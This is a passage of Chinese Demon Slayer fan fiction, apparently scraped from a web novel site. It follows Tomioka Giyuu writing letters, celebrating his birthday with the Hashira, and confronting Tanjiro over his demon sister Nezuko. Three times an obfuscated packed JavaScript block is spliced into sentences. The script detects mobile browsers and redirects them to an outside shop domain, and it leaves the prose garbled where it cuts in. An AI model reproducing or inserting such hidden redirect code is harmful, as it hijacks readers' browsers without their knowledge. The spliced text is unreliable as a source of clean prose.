蝴蝶香奈惠坐在悲鸣屿行冥身边,和他聊着猫猫。 富冈义勇看着面前的空地,心里对提升实力的渴望也越发强了。 不是为了杀更多的鬼,而是想要让自己手中的刀可以发挥出更强的力量。 宇髄天元摸着自己额上的发饰,看着沉默不语的富冈义勇,然后笑了笑。 什么时候这小子也能变得华丽起来呢? 等理论课结束以后,富冈义勇他们都忙了起来。 有要去带人的,有要去帮着处理伤患的,有紧急任务需要柱出马调查的,零零碎碎,也是闲不下来。 富冈义勇也接到了一个紧急任务,把闹事的鬼解决后,他就赶了过来,恰好没有错过自己负责的那一部分。 在这一次的特训里,新人并没有考核要求,所以全部都来到了富冈义勇这里。 富冈义勇选了一片空地作为训练场所,又让他们依次排好,他拿着木刀和他们一一对战。 新人毕竟还是新人,即使经过训练,大多数实力还是一般的。 富冈义勇几乎很轻松地就把他们打趴下了,而在对方被打倒之后,他都会提出存在的问题。 只是…… “不该攻击,要防御。” “力道太小。” “手腕用力错了。” 言简意赅,再配上冷静的脸和不带感情的语气,让众队员望而生畏。 富冈义勇给了他们休息时间,自己坐在一边休息。为了观察他们的状态,他时不时会往他们那边看,只是他很快就发现被看到的人会不自觉打寒颤。 富冈义勇有些不解,但很快就收回了视线。 选择进入鬼杀队的人,都是有理想有志向,没人想输给谁,更不想在下一届新人面前丢脸,中间的训练虽然苦,但几乎都撑了下来。 在众新人叫苦不迭又斗志昂扬里,特训顺利结束了。 “明年这时候会有考核,这期间不可以松懈。”在他们离开前,富冈义勇叮嘱道。 “是!” 富冈义勇回到了自己的住处,拿出了信纸和笔,开始思考他该给谁写一封信。 珠世小姐说过可以从他的身边选一个人。 鳞泷老师吗? 他和鳞泷老师确实很久没有见过了,那就写一封信给老师吧。 富冈义勇看着空白的纸,首先写下了鳞泷左近次的名字。 然后,他的笔不动了。 要写什么? 富冈义勇的大脑变得和空白的信纸一样。 宽三郎没有打扰他,就这样看着他维持一个动作持续了很久。 终于,富冈义勇的手开始动起来。 鳞泷左近次殿下: 前略。 最近鬼杀队举办了最终选拔,并进行了特训。新一批队员的意志很坚定,只是大多数的实力都有待提高。 在特训期间,我与悲鸣屿先生、宇髓先生以及蝴蝶小姐进行了切磋。这几位的实力不愧是柱,我应对的时候并不轻松。 我深知您对我的关照以及爱护,请您多加保重身体,祝您继续精进。 草率书此。 富冈义勇 在写完这些后,富冈义勇开始放空自己,盯着信纸上的字看了很久。 宽三郎凑过去看了看,点了点头。 字迹飘逸又不失遒劲,字词讲究又不缺日常。 这写得真不错。 真不愧是珠世小姐,就是有法子。 富冈义勇回神,摸了摸宽三郎的脊背:“可以帮我将信带给鳞泷老师吗?” “当然没问题。”宽三郎答应得很快,伸出自己的爪子就让富冈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208693|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义勇将信件绑上去。 富冈义勇将信件折叠起来,轻轻地绑到他的腿上。 “好了,交给我吧,义勇乖乖在家等我回来。”宽三郎翅膀一振,就直接飞了出去。 富冈义勇看着宽三郎越飞越远,开始思索下一封信写给谁。 主公吗?可主公这么忙,会愿意看他的信吗? 不过珠世小姐说他可以将信留在自己手里,那他可以写了不寄出去。 这般想着,富冈义勇又拿出一张新的信纸,开始书写起来。 产屋敷耀哉殿下: 前略。 新人的特训已经顺利完成,想必鬼杀队未来的实力也会更进一步。 几位柱的实力都不容小觑,我会继续提高自己的实力,追赶上他们脚步。如果下一次再碰见上弦之三,我不会再让您担心。 另,珠世小姐的医术真的很好,我认为您可以和珠世小姐探讨一下您的病情。您是鬼杀队的支柱,万望珍重身体。 承蒙您和鬼杀队大家的关照和爱护,感念不尽。 草率书此。 富冈义勇 在写完之后,富冈义勇将这封信放在了桌子的一边,好好收了起来。 再考虑下一个人选时,他有些犯了难。 他认识的人似乎真的很少,除了鳞泷老师、主公还有几位柱以外,他好像只对村田和炼狱杏寿郎比较熟悉。 几位柱他们才刚刚结束交流,即使写信也没有什么要写的。而关于村田,他似乎能写的只有最苍白无力的感谢。 富冈义勇叹了口气,还是给炼狱写吧。 他想了想,开始动笔。 炼狱杏寿郎阁下: 最近新人的特训刚刚结束,里面也有练习炎之呼吸的人。在执行任务时,与其他呼吸法相比,炎之呼吸的实用性很强。 初始时,你还是丙级,如今已成为甲级队员,这说明你有足够强的天赋和实力。我相信你一定会很快成为炎柱。 有关令尊的想法,我有一些浅薄的想法,简单说与你听。你可以选择将这些告诉令尊,也可以不予参考。 之前听你提过,令尊之前也是炎柱,却忽然一蹶不振,在你母亲去世后更是颓废度日。 我无法体会他的感受,他的一些想法也恕我不能苟同。但我知晓逝去之人无法挽回,眼前活着的人便要更加珍惜。 在我看来,你们能成为幸福的一家。 没有父母会不爱自己的孩子,炼狱,你有足够坚强的内心和火焰一般的性格。或许坦诚一谈,可以解开彼此的心结。 望你继续精进实力,早日成为炎柱。 草率书此。 富冈义勇 在写完三封信之后,富冈义勇就停了笔。他将写给产屋敷耀哉的那封信收起来,又将写给炼狱杏寿郎的那封叠好。 等宽三郎回来后,还要麻烦他帮忙再送一封信。 在等待期间,富冈义勇拿了日轮刀,走到了院子里,开始今天的训练。 37.第 37 章 在特训结束后,富冈义勇每天要做的事就简单了很多。 执行任务,休息,再执行任务。 感到疲惫的时候,他也学会给自己放个假。发发呆,练练刀,再琢磨一下给谁写信。 在每个月给珠世送血液样本的时候,他会带上自己的笔记本,也有带上自己那些没有寄出去的信。 这天,富冈义勇正在翻看自己留下的信件,忽然疑惑地皱皱眉。 他明明记得写给主公的信都收起来了,怎么一张也不见了。 富冈义勇将整个屋子都翻了一遍,却一张也没找见。 他呆愣地站在房间里,开始回忆。 富冈义勇每次写信的间隔很长,有些他会直接让宽三郎寄出去,有些他会直接收起来保存好。 写给产屋敷耀哉的信件本该是被好好保存起来。 在宽三郎回来后,他看到了一脸严肃的富冈义勇,连忙凑过去,问他怎么了。 富冈义勇拿出了自己的笔记本,缓缓说:“我的记忆可能出现了问题。我明明记得我给主公写了信,这些信也都被我收在柜子里。但我把整个房子找了一遍,一封信也没有。很可能我以为自己写了,但实际上没有。” “这个问题有些严重。如果我的记忆会出错,那就没办法当任务的负责人了。” 见富冈义勇一本正经,拿着笔就打算往笔记本上记,宽三郎立马飞扑到本子上,翅膀长开,用爪子将本子踢走:“义勇!你的记忆没问题!” 富冈义勇不解地看着宽三郎:“可是家里真的没有一封信。” “在我目前的记忆里,每次我给主公写信你都出去送信了。现在不存在写好的信,只能证明我的记忆出问题了。” 见富冈义勇越发坚定这个猜想,宽三郎只能选择把产屋敷耀哉卖了:“写给主公的信,我都送走了!” 他说得很快,生怕富冈义勇给自己新添一个记忆错乱的问题。 “嗯?”富冈义勇眨了眨眼,像是没听懂一样。 宽三郎叹了口气,说自己在鎹鸦集会上提过他写信的事,而产屋敷耀哉的鎹鸦也在,所以产屋敷耀哉也知道了这件事。 后面产屋敷耀哉的鎹鸦找到了他,说让他把富冈义勇写的信都悄悄给他送过去。 所以宽三郎就趁着富冈义勇不注意,将那些信全都叼走了。 “为什么主公会想看我的信?”富冈义勇还是不理解。 宽三郎叹气,却也明白富冈义勇为什么不懂。家人的过早离去,让他有些淡忘家人之间的关心与吃醋了。 “因为主公很关心义勇。”宽三郎试图给产屋敷耀哉找补,“至于为什么不让你知道,肯定是怕你有负担。” 才不是什么吃醋又不好意思让本人知道呢。 富冈义勇恍然,点了点头,终于是放下笔,摸了摸宽三郎的脊背:“以后不要偷偷拿了,我写好以后你直接送给主公就好。” 他之前本以为他的信会给主公增添工作量,但如果主公想看,他直接送过去就是。 宽三郎连忙点头,心里松了一口气,又郑重地向富冈义勇道歉:“这件事没有告诉义勇也是我的错。” 富冈义勇摇摇头:“我知道的,你们都是为我着想。” 宽三郎陪着富冈义勇已经快三年的时间,看着他独自长大,又辛苦地挣扎。他不是不心疼,现在看到他一天天在改变,宽三郎也是很开心的。 现下听到富冈义勇说这句话,宽三郎的心立马就软了下来,眼眶更是一热。他直接飞到富冈义勇的肩膀上,蹭了蹭他的侧脸。 义勇一直都被人好好爱着,而现在的他终于能感受到这件事了。 富冈义勇闭上眼,任由宽三郎轻蹭。 既然他之前的结论并不正确,那就没什么可以记录的了。 他弯腰捡起被宽三郎踢远的笔记本,开始翻看了起来。上面记录的东西很多,写着他很多感受。 最开始很多都是流泪、难过、心脏痛、呼吸不上来等等负面的感受,后面便多了一些开心或是兴奋。 为了使用好水之呼吸,富冈义勇一直在保持自己内心的平静。 冷静、理智、果决,是只要他清醒就会持久不变的。 但即使再平静的海面,也偶尔会泛起涟漪。 富冈义勇看到了海面下隐藏的暗流,也放任了波动水纹的出现。 曾经失去生机的静水,终于有了活力。 人会在一夜长大,却需要漫长的岁月才能找到最初的自己。 幸好,一切都还来得及。 富冈义勇的生日是2月8号,几乎都在每年的初春。 万事万物经过漫长的寒冬,将藏着的生机一一展现。 大地回春,寒意终将过去,迎来和暖的春风与细雨。 在这一天,富冈义勇被叫去了炼狱杏寿郎的家,然后在进去的那一刻,被撒了一身的花瓣。 富冈义勇茫然地睁着眼睛,看看自己身上的花瓣,看着笑着的大家,一时有些无措。 “我快死了吗?” 宇髄天元扶额,这小子到底在想什么。 作为花瓣的提供者,蝴蝶香奈惠站在一边,脸上挂着温柔的笑意。 悲鸣屿行冥双手合十,转动念珠:“请原谅少年的妄语。” 炼狱杏寿郎站在一边,笑得开心:“富冈先生说的话还是一向让人猜不透啊。” 撒花的是村田三人组,他们笑着的嘴角直接僵住。三个人也不客气,直接将富冈义勇推进屋里。 “死什么死,呸呸呸!” “富冈,今天是你生日,大家来给你过生日!” “快,先呸三声!” 富冈义勇被推着往前走,听到他们的话,乖巧地呸了三声。 就这样,一群人都进了屋子。 这是炼狱家最大的一间屋子,等所有人坐进去,已经是满满当当。 屋里摆了很多吃的,蛋糕、甜点、点心、各种小吃还有茶水。 插着蜡烛的蛋糕被推到富冈义勇的身前,大家都一脸期待地看着他。 富冈义勇其实还没怎么反应过来。 生日?今天是他的生日吗? 好像是,过了今天他就十六岁了。 见富冈义勇还没反应过来,一群人也没出声打扰他,脸上挂着和善的笑意。 有人开始轻轻唱起来。 “祝你生日快乐~” 其他人也跟着唱起来。 富冈义勇眨了眨眼,终于接受了今天是自己生日的事实。 过生日要先许愿,再吹蜡烛。 他闭上眼,在内心默念自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213457|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的愿望。然后睁开眼,将蛋糕上的蜡烛全部吹灭。 “生日快乐!” “富冈,生日快乐!” “富冈先生,生日快乐!” 富冈义勇不知道自己该如何形容此刻的感受。他看见大家脸上的笑容,耳边回荡着大家对他的祝福。 “谢谢。”富冈义勇的眼睛微微眯起,嘴角也缓缓扬起,“谢谢大家。” 他很开心,真的很开心。 即使此刻依旧想要流泪,但富冈义勇明白,这并非悲伤,而是不同以往的喜悦。 他何其有幸,能遇见他们。 冬日寒,春风暖。黑夜虽漫长,但总有黎明到来。 独行的三年煎熬而又漫长,与人同行的三年显得格外匆忙。 这三年里,发生了很多事。 最大的事件就是四位柱变成了九位。 岩柱悲鸣屿行冥,音柱宇髄天元,水柱富冈义勇,花柱蝴蝶香奈惠,风柱不死川实弥,炎柱炼狱杏寿郎,蛇柱伊黑小芭内,恋柱甘露寺蜜璃,霞柱时透无一郎。 关于鬼杀队和珠世联手合作的事,随着柱的增多,并不是所有人都同意的,其中不死川实弥在得知这件事时十分激动。 “没有鬼会不吃人!我也不觉得鬼能和人合作!”因为过往经历,不死川实弥对鬼有着深深的敌意。 但在他成为柱之前,鬼杀队和珠世的合作已经展开良久。 不论他是否承认,这段时间里珠世的确帮鬼杀队更加了解鬼的构造,甚至研究出来了可以缓解产屋敷耀哉病情的药剂。 不死川实弥是尊敬产屋敷耀哉的,虽然心有不愿,但还是收起了自己的尖刺。 而在这三年里,珠世的研究也有了些许的进展。她和蝴蝶忍一起研究,共同研发出一款可以针对鬼的毒。 只是这种毒仅对普通的鬼有效,如果对上十二鬼月,效果就要弱化不少。 蝴蝶忍力气小,擅长用毒,刀匠特意为她打造了一把特殊的刀,可以让她在刀尖注入毒素。 而她也从花之呼吸悟出了自己的流派——虫之呼吸。在这些年里,蝴蝶忍除了和珠世一起研究药剂,也会自己出去执行任务。 本该受封虫柱的她,却直接拒绝了产屋敷耀哉的任命。 她的姐姐已经是柱,她平时也会帮着姐姐打理蝶屋。比起名号,她更想研制出能够杀死鬼舞辻无惨的毒。 她的姐姐想要人和鬼和平共处。 她会帮自己的姐姐完成这个心愿,那就要杀死一切矛盾的源头——鬼舞辻无惨。 三年的匆匆岁月里,很多人的想法发生了变化。 不死川实弥对珠世的排斥不再那么明显,对鬼仍可保持善念有了一丝理解。只是越理解,也越心痛。 在他小时候,母亲意外变成鬼。一直疼爱他们的母亲,成了吞噬无辜孩子的恶鬼。 不死川实弥无法原谅杀死母亲的自己,也无法正视伤害家人的母亲。 他心中的万千愤懑,在一次前往蝶屋的时候被蝴蝶忍察觉,又被同样暴躁地回应。 “板着脸给谁看呢?想要撒气也给我等伤好以后再去。” 暴躁的人遇上同样暴躁的人只会越吵越凶,最后两个人在蝴蝶香奈惠的调解下暂时达成了和平。 可喜可贺,可喜可贺。 38.第 38 章 在这三年里,富冈义勇也在慢慢发生着变化。 随着珠世的引导,他慢慢发现了自己的一些认知与其他人是不同的。 他一直觉得自己并不是鬼杀队的一员,水柱也只是暂代。但他和人的相处逐渐增多,让他发觉大家并不在乎自己的身份。 只因他是他,而非他是什么。 富冈义勇有些懵懵懂懂,但不会再想自己不配,自己是否值得被关心。 人与人之间的关照是相互的。富冈义勇知道大家对他的照顾,也在试图关照其他人。 富冈义勇偶尔会拉着村田三人组进行训练,好增强他们的实力。 尽管三人组每次都会累趴下,但还是会老老实实听富冈义勇的话去练习。 水柱的单人辅导,这可是一说出去就会让人羡慕的。 只是…… “这个训练也太苦了啊!”三人组仰天长嚎,终于明白柱的继子为什么这么少了。虽然他们并不是富冈义勇的继子,但总觉得目前训练的程度和继子的训练比起来简直是有过之而无不及。 富冈义勇自然也听到了他们的哀嚎,但要求是一点都没有降。 除了会把村田他们叫到自己家训练外,富冈义勇也偶尔会去拜访炼狱杏寿郎。 在炼狱杏寿郎成为炎柱时,富冈义勇很为他开心,买了很多红薯送给他。 虽然目前的他仍旧无法接受自己的水柱身份,但和其他柱相处时,没有以前的疏离了。 尽管如此,他日常面无表情的样子还是让不死川实弥和伊黑小芭内看不顺眼。 “那家伙一直冷淡着脸,看着就让人火大。” “一副我跟你们不一样的感觉,令人生气。” 在处理人际关系时,富冈义勇显得格外生疏,不清楚该如何缓和自己和他们的关系。 而在定期的心理疏导时,珠世给他提了一个建议。 “如果不知道怎么做的话,义勇还是可以用写信的方式将在自己想说的话都写出来,然后寄给他们看就好了。” 富冈义勇记住了,回去就给不死川实弥写了一封信。 但下一次和不死川实弥遇到时,富冈义勇总觉得他更生气了。 富冈义勇不明白,也不理解,最后只得放弃了写信这一方式。 “富冈,冒昧问一句,你写给不死川的信内容是什么?”富冈义勇来炼狱杏寿郎家串门,将这件事告诉了他。看出来富冈义勇有些苦恼,炼狱杏寿郎便这样问道。 而在他们两个都成为柱后,富冈义勇就让炼狱杏寿郎喊他时不要加敬称,直接喊他富冈。 炼狱杏寿郎本不想改,毕竟他是真的很尊敬富冈义勇。但富冈义勇说了,他们现在是朋友。 炼狱杏寿郎笑了笑之后,便直接开始喊他富冈。 富冈义勇端着茶杯,想了想:“我感觉不死川很容易生气。但总生气对身体不好,我就去请教了蝶屋的护士,要了一份清火茶的配方。我把这个配方写在信里寄给他了。喝点清火茶,说不定身体会舒服很多。” 炼狱杏寿郎听完笑了很久,爽朗的声音让外面的炼狱千寿郎和炼狱槙寿郎也听到了。 在这几年里,炼狱槙寿郎的态度也发生了变化。 因为在某次来这里拜访时,炼狱槙寿郎主动找上了富冈义勇,和他谈了很久。 有关天赋,有关责任,有关家人,有关遗憾。 即使富冈义勇的年龄比起炼狱槙寿郎要小上不少,但他复杂的经历,也让他有着坚定的赤子之心。 炼狱家族是一脉相传的炎之呼吸,炎火虽然偶有熄灭,但总有重燃的时刻。 那之后,炼狱槙寿郎就不再颓废,承担起了自己一家之长的责任。只是或许是有些迟了,炼狱杏寿郎已经成为炎柱,而炼狱千寿郎无意成为剑士。 不过就算如此,炼狱槙寿郎也下定决心要保护好自己的两个儿子。 “富冈,你这样会让不死川以为你在嘲讽他的。”炼狱杏寿郎帮富冈义勇分析。 富冈义勇不解,疑惑地看着炼狱杏寿郎:“为什么?” 炼狱杏寿郎想了想,用富冈义勇能接受的说法道:“不死川爱生气的性格是因为过往经历而形成的,和富冈你以前很像。你是冷静,而不死川是生气。你送一个清火茶给他,就会让不死川觉得你认为他的脾气很不好,所以本来爱生气的他就更生气了。” “如果将不死川换成是富冈你的话,就很像是一个人给你送了一个小火炉,本意可能是怕你冷,但富冈你收到的话,可能会觉得莫名其妙。” 富冈义勇忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216492|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充:“虽然确实不理解,但我会收下来用的。” 冬天时有个小火炉确实很方便。 炼狱杏寿郎又笑起来:“这就是不死川和富冈你的区别了,不死川不在意过程,只在意结果。但凡能达成目的,他不会讲究方法。” 他想了想:“富冈是个实干家,你会选择最恰当的方法去达成想要的结果。” 炼狱杏寿郎笑着说:“你和不死川某些地方还是蛮像的。” 富冈义勇若有所思地点点头。 “好了,不用发愁这个。等后面再遇到不死川,我会帮你说话的。”炼狱杏寿郎将甜点朝富冈义勇那边推了推,喊他吃东西。 等吃完东西,他们还准备再切磋一回呢。 而另一边的不死川实弥正在外面执行任务,一下子打了很多个喷嚏。 “是谁在骂我吗?”不死川实弥揉了揉鼻子,继续走着自己的路。 等炼狱杏寿郎和富冈义勇喝完茶、吃完点心,又互相切磋了一番以后,富冈义勇就告辞了。 炼狱杏寿郎目送他离开,准备回屋里时,看到父亲站在自己身后。 “父亲。”炼狱杏寿郎喊他。 炼狱槙寿郎轻咳几声,问:“那孩子看上去比之前变了不少。” 炼狱杏寿郎笑着点头:“是的。富冈看上去开朗了很多。” “晚上吃红薯饭吧,我去做。”炼狱槙寿郎揉了揉自家儿子的头,就转身回屋里了。 炼狱杏寿郎嘴角的弧度更大了,想起了曾经他们的谈话。 “父亲,你和富冈先生聊了什么?” “他之前托你寄给我的信,我看了,就找他聊了聊信上的一些事。” “原来是这样。” “那孩子是个很坚强的人。即使他说自己并不是天才,但我能感受到他的天赋。杏寿郎,你交到了一个好朋友。” “我也觉得这样。” “抱歉,这些年,我一直不管不顾,还一直否定你,辛苦你了。” “没关系的,父亲。没有什么会影响我的想法。” “杏寿郎,你母亲说得对,不要浪费你的天赋和能力。但也要注意自己的安全,好好活着。” “是的,父亲。” 水,无声,却可以滋润万物。 39.第 39 章 在富冈义勇十九岁这年,鬼杀队又将举办最终选拔。 现在柱一共有九个人,在最终选拔现场的负责人只需要四个就可以,所以这一次的人选是通过抽签决定的。 四个签上画着(),抽到的负责这一届的现场督察,四个签画着)(,抽到的会负责下一届的。还有一个空签,代表这个人是幸运儿,直接四年轮空。 签是由产屋敷耀哉亲自做的。 即使产屋敷耀哉让珠世无需为他的病担忧,但珠世还是抽时间帮他研制了缓解的药剂,所以这些年下来,产屋敷耀哉的病并没有恶化。 因为这点,现下的他也有精力来凑这个热闹。 产屋敷耀哉做好了签,又把它们打乱。等签变得混乱,他才让九个人都转过身。 “好了,两种签的笔划都是一模一样的,我写的时候也有注意顺序,所以靠听力,你们是完全分辨不出来的。”产屋敷耀哉脸上的笑意很明显,颇有期待地看着他们九个人。 九个人你看看我,我看看你,最后悲鸣屿行冥最先开口:“大家按成为柱的时间倒着来吧。” 最先抽签的人有优势,让资历最小的人来也是一种体贴。 大家都没有意见。 而正在发呆的的时透无一郎回神,随意地从里面抽了一张签出来。 等他抽完,其他人也依次选了自己的签。他们一起将签打开,然后展示了出来。 最后的结果是: 负责这一届最终选拔的人为:悲鸣屿行冥,宇髄天元,不死川实弥,时透无一郎。 负责下一届最终选拔的人为:蝴蝶香奈惠,炼狱杏寿郎,甘露寺蜜璃,伊黑小芭内。 幸运儿:富冈义勇。 拿着空签的富冈义勇眨眨眼,脸上的表情却是没有一点变化,依旧是冷峻如常。 就这样,工作被安排了下去。而作为闲人的富冈义勇备受大家羡慕。 不过富冈义勇也不是会让自己闲下来的人,虽然他偶尔也会给自己放个假,但更多时候还是在忙碌着的。 现下最终选拔召开,大家都在忙,他就让宽三郎帮他接了任务,直接出去执行任务了。 这一次的任务目标,是在北方一座雪山附近的城镇。鎹鸦们调查到这里夜晚会有女性失踪,怀疑是鬼作祟。 有了任务,富冈义勇就准备跟随着宽三郎的指引出发。但在他离开前,忽然有一声喵叫响起,一只猫出现在他的身前。 是茶茶丸。 富冈义勇蹲下,从茶茶丸背后的箱子取出来一个针剂和一封信。 东西和信都是珠世寄来的。 义勇,听说你最近又要执行任务,还请带上这只针剂。这是最新研发出来的毒,可以抑制鬼的再生能力,使用时可以将液体融入水之呼吸生成的水里。 理论上讲,只要你的攻击对鬼造成伤害,毒素就可以进入鬼的身体。 但此针剂药效尚未得到证明,外出执行任务时,如果碰上十二鬼月,或可一试。 但如有必胜把握,还需将针剂隐藏。鬼的所遇所知都受鬼舞辻的控制,最终药剂尚未研发完成,还不是暴露的时机。 富冈义勇将信看完,就又将信放了回去。珠世的消息是需要保密的,即使知是信件,也不能掉以轻心。 他将针剂收好,又把盒子盖上,摸了摸茶茶丸的头:“我知道了,还让珠世小姐多加休息。” 茶茶丸蹭了蹭他的掌心,就往回走。 随着一声喵叫,茶茶丸的身影也消失在空气中。 在这三年里,下弦鬼的血液样本也收集了不少,珠世研究出来不少东西。但在她看来,这些药剂却还差着些什么。如果碰到上弦鬼,这些注射式的药剂能起到的效果并不明显。 不过蝴蝶忍的做法给了她些许的启发,药剂不一定非要用针储存,藏于刀尖也可以对鬼起到作用。 而关于这件事,她和产屋敷耀哉还在商讨。 这几年里,珠世几乎是看着富冈义勇长大,这只针剂她也只给了富冈义勇一人。这既是对他的信任,也是一份偏爱。 富冈义勇等茶茶丸离开,就跟着宽三郎开始赶路。 目标的城镇需要翻越雪山,而富冈义勇心里对雪山有一丝抵触,所以赶路赶得很快。 而在他奔走的时候,宽三郎忽然偏移了方向:“那边,有鬼的气息。” “好。”富冈义勇立马调转方向,朝新的地方赶去。 远远的,富冈义勇就看到鬼将一名少年扑倒。 他加快了速度,一跃而起,手中的刀直接出鞘,就要将鬼的头砍下来。 被扑倒的少年却一把将鬼推开,抱着她想要躲开富冈义勇的攻击。 富冈义勇来不及收势,只能偏转了刀刃,将力道全部砸在雪地上。而因余波影响,少年和鬼也一起滚到远处,撞到了树上。 富冈义勇站好,扭身看过去。 这是一个有着红色头发,额头上有着伤疤的少年。他将刚刚的鬼抱在怀里,一脸的警惕。 保护鬼的少年?那个鬼是他的家人吗? “为什么要保护她?”富冈义勇直接问。 少年回答得很快:“妹妹!她是我的妹妹!” 富冈义勇皱眉,但就算是家人,变成鬼以后也不会记得自己爱着的人。 或许是为了应和富冈义勇所想,昏迷过去的女孩醒了过来,从少年的怀里开始挣扎。 喉咙发出的叫喊,不停挥舞的双手,无一不说明这个女孩已经失去了理智。 “那是你的妹妹吗?”富冈义勇呢喃。 少年没有回答,或者说富冈义勇没有给他回答的时间。 富冈义勇直接飞奔过去,而少年还想保护妹妹,却根本快不过富冈义勇的动作。 女孩被富冈义勇捉住,双手反绑,无法移动半分。她不停地嘶吼着,身体不停挣扎。 见到自己妹妹被捉住的少年挣扎着起身,想要往那边跑:“祢豆子!” 富冈义勇见少年打算靠近,立马出声:“不要动。” 过来的话,你可能会受伤。 他缓缓道:“我的工作就是斩鬼,当然也会斩下你妹妹的头颅。” 平稳而冷淡的语气,仿佛不再一丝感情。 但若他心中真的并无半分温情,此刻的少女又怎会活着? 少年被富冈义勇的话刺激道,立马朝他喊:“等一下!祢豆子还没有杀过人!” “我家里还有一种从没闻过的别人的味道!杀了大家的,大概是那家伙!” 富冈义勇眉头一动,能闻到这么清楚的味道吗?和鳞泷老师有些像。 “不是祢豆子!”少年还在试图解释,“我虽然不知道为什么她现在会那样,但是……” 不等少年继续说,富冈义勇就打断了他的话,解答他的疑问:“很简单,能把人类变成鬼的只有一个,那就是鬼舞辻无惨。伤口碰到他的血液,就会变成食人鬼。” “祢豆子不会吃人的!”少年如此坚定地回答。 富冈义勇无奈:“你还真……” 语言是最无力,也是最会骗人的。没有行动的保证,无法获取别人的信任啊,少年。 “明明自己刚才就差点被吃掉了。”富冈义勇提醒道。 这女孩刚变成鬼没多久,在还没吃过人的情况下,尚存的理智恐怕也不多了。 那就给出你的证据,让我确信这个女孩还能保有理智。 “不对!她还认识我!”少年声嘶力竭地解释,“我不会让任何人伤害她!” “我一定要把祢豆子变回人类!” “我绝对要治好她!” 富冈义勇给出目前的结论:“治不好的。变成了鬼,就再也变不回人了。” 珠世小姐所研究的药剂是针对鬼再生能力的,而想要把鬼变成人,就又是另一个问题。 不过,两者或有共同之处。 少年很是激动,张开自己的双手:“去找!我一定会找到办法!所以请你不要杀她!” “我也会找出杀了我家人的家伙!我全部都会去好好做的!” 富冈义勇不想再听少年的话,如果除了苍白无力的话语,没有证据能证明这个女孩还存在理智,那他只能杀了她。 他抬起了手中的刀。 寒光闪烁,锋利的刃像要斩断一切的恶。 就在这时,少年忽然跪了下来。他边哭边说着:“请你不要杀我的妹妹……” “拜托你了……” 卑微无力的祈求,毫无用处的示弱,让富冈义勇想到了那个雪天。 派不上任何用场的自己,只能看着姐姐在鬼的追杀下死去。 他握着刀的手狠狠地攥紧,连指节都有些发白,翻涌的情绪在瞬间爆发,平静的海面立即翻滚起波涛。 “不要让他人把握生杀予夺的权力!” 富冈义勇的话让少年忽然睁大了眼睛,他抬起头,看向富冈义勇。 “不要悲惨地趴在地上!” “如果那种事行得通的话,你的家人就不会被杀了!” “在夺走或被夺走的时候,连主导权都把握不了的弱者,能治好妹妹?能找到仇人?” “真是荒唐可笑!” “弱者没有任何权利和选择!全都会屈服在强者的力量之下!” 富冈义勇难得这么情绪激动,语气激昂。看着面前的少年,他好像看到了曾经的自己。 “或许真的有治好你妹妹的方法,但你又能拿出什么让人去帮你实现这个愿望?!” “除了家人和同伴,没有谁会无缘无故帮你做事。我也一样!” “这就是现实!” “为什么你刚刚要挡在你妹妹身前?!你以为那种行为就是保护她了吗?” “为什么你没有挥起斧头?!为什么要让我看到后背!” “你的失策,导致了你妹妹被抢走!我可是连你和你妹妹一起刺死也可以的!” 落在高处树枝上的宽三郎看着鲜活的富冈义勇有些欣慰,听到最后一句是不免摇头,我信你才怪哦。 富冈义勇抬起刀,将刀尖对准少年。 不要哭,不要绝望,这不是你现在该做的事。 我知道你现在很受打击,家人被杀,妹妹变成鬼,一定很痛苦吧。 一定很想叫喊出来吧。 我明白的。 我要是再早来个半天的话,你的家人可能就不会死了。但是,没有办法让时间逆转。 发怒吧。 无法原谅。这一强烈又纯粹的愤怒,能够成为让你行动手脚的坚定原动力。只靠脆弱的决心,无法守护也无法治好你的妹妹,更无法为你的家人报仇。 如果只是哭泣,只是恳求,什么都做不到。你必须坚强起来,必须行动起来。 为了给少年添一把火,富冈义勇抬起手中的刀,刺中了还在挣扎的女孩肩膀。 受伤这件事他有经验,下手的时候也很留意。 他能确认刀尖刺中的只是女孩肩膀处的肌肉,这样疼痛会相对局限。而且她刚刚变成鬼,拥有的力量也有限。现下受点伤也会影响她的行动,不让她伤到人。 鬼的善恶,在于心,在与行。 一旦伤了人,吃了人,便再也回不了头了。 “住手!”少年大声喊着,顺手就捡起一个石头朝富冈义勇扔过来。 这个攻击伤不到富冈义勇丝毫,他手腕微抬,就用刀柄将石子弹开。 富冈义勇微皱着眉头,就这样站着不动,看着少年接下来的行动。 让我看出你的意志和行动吧。只有拥有强大的实力,才能保护好自己所珍视的人。 如果只会哭泣流泪,那么便什么也做不到,只能被人保护,看着所珍视的人一一远去。 